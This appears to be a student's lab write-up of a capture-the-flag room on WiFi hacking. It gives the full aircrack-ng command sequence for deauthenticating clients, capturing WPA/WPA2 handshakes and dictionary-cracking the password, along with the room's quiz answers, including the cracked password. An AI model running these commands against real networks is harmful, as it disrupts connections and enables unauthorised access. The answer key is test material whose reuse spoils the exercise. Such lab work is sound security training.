

WIFI HACKING 101

AIM:

To learn the fundamentals of WiFi security and practice capturing and cracking WPA/WPA2 handshakes using tools like aircrack-ng.

PROCEDURE:

1. Enable monitor mode on the wireless interface using `airmon-ng start wlan0`.
2. Scan for available WiFi networks using `airodump-ng wlan0mon`.
3. Identify the target network's BSSID and channel.
4. Start capturing packets on the target channel with `airodump-ng --bssid [BSSID] -c [channel] -w capture wlan0mon`.
5. Send deauthentication packets using `aireplay-ng --deauth 10 -a [BSSID] wlan0mon` to force a client to reconnect.
6. Once the handshake is captured, use `aircrack-ng -w [wordlist.txt] capture-01.cap` to attempt password cracking.

TASK-1 THE BASICS-AN INTRO TO WPA

Identify the Target Network:

- Note the SSID (network name), BSSID (MAC address of the AP), and channel using `airodump-ng`.

Enable Monitor Mode:

- Use `airmon-ng start wlan0` to enable monitor mode on your wireless adapter.

Capture the 4-Way Handshake:

- Run `airodump-ng --bssid [BSSID] -c [channel] -w capture wlan0mon` to monitor and capture handshake packets.

- Deauthenticate a connected client to force a handshake using `aireplay-ng --deauth 5 -a [BSSID] wlan0mon`.

Crack the Captured Handshake:

- Use `aircrack-ng -w [wordlist.txt] capture-01.cap` to perform a dictionary attack using the ESSID as salt.

Answer the questions below

What type of attack on the encryption can you perform on WPA(2) personal?

brute force ✓ Correct Answer ? Hint

Can this method be used to attack WPA2-EAP handshakes? (Yea/Nay)

Nay ✓ Correct Answer

What is the three-letter abbreviation for the pre-shared key used in Wi-Fi security?

PSK ✓ Correct Answer

What's the minimum length of a WPA2 Personal password?

8 ✓ Correct Answer

TASK-2 YOU ARE BEING WATCHED-CAPTURING PACKETS TO ATTACK

Enable monitor mode on your wireless network interface using `airmon-ng start wlan0`.

Scan for nearby WiFi networks using `airodump-ng wlan0mon` and note down the BSSID and channel of the target network.

Start capturing packets on the target network with:

css

CopyEdit

`airodump-ng --bssid [BSSID] -c [channel] -w capture wlan0mon`

Deauthenticate a connected device to force a handshake by running:

css

CopyEdit

`aireplay-ng --deauth 5 -a [BSSID] wlan0mon`

Once the 4-way handshake is captured, crack the password using:

Answer the questions below

How do you put the interface "wlan0" into monitor mode with Aircrack tools? (Full command)

airmon-ng start wlan0

✓ Correct Answer

What is the new interface name likely to be after you enable monitor mode?

wlan0mon

✓ Correct Answer

What do you do if other processes are currently trying to use that network adapter?

airmon-ng check kill

✓ Correct Answer

🔍 Hint

What tool from the aircrack-ng suite is used to create a capture?

airodump-ng

✓ Correct Answer

What flag do you use to set the BSSID to monitor?

--bssid

✓ Correct Answer

🔍 Hint

And to set the channel?

--channel

✓ Correct Answer

🔍 Hint

And how do you tell it to capture packets to a file?

-w

✓ Correct Answer

🔍 Hint

TASK-3 AirCrack-ng-LET'S GET CRACKING

I will attach a capture for you to practice cracking on. If you are spending more than 3 mins cracking, something is likely wrong. (A single core VM on my laptop took around 1min).

In order to crack the password, we can either use aircrack itself or create a hashcat file in order to use GPU acceleration. There are two different versions of hashcat output file, most likely you want 3.6+ as that will work with recent versions of hashcat.

Useful Information

BSSID: 02:1A:11:FF:D9:BD

ESSID: 'James Honor 8'

Room completed (100%)

What flag do we use to specify a BSSID to attack?

-b

✓ Correct Answer

🔍 Hint

What flag do we use to specify a wordlist?

-w

✓ Correct Answer

🔍 Hint

How do we create a HCCAPX in order to use hashcat to crack the password?

-j

✓ Correct Answer

🔍 Hint

Using the rockyou wordlist, crack the password in the attached capture. What's the password?

greeneggsandham

✓ Correct Answer

🔍 Hint

Where is password cracking likely to be fastest, CPU or GPU?

GPU

✓ Correct Answer

🔍 Hint

RESULT:

Successfully captured a WPA handshake and demonstrated cracking the password using a dictionary attack, highlighting the importance of strong WiFi passwords.
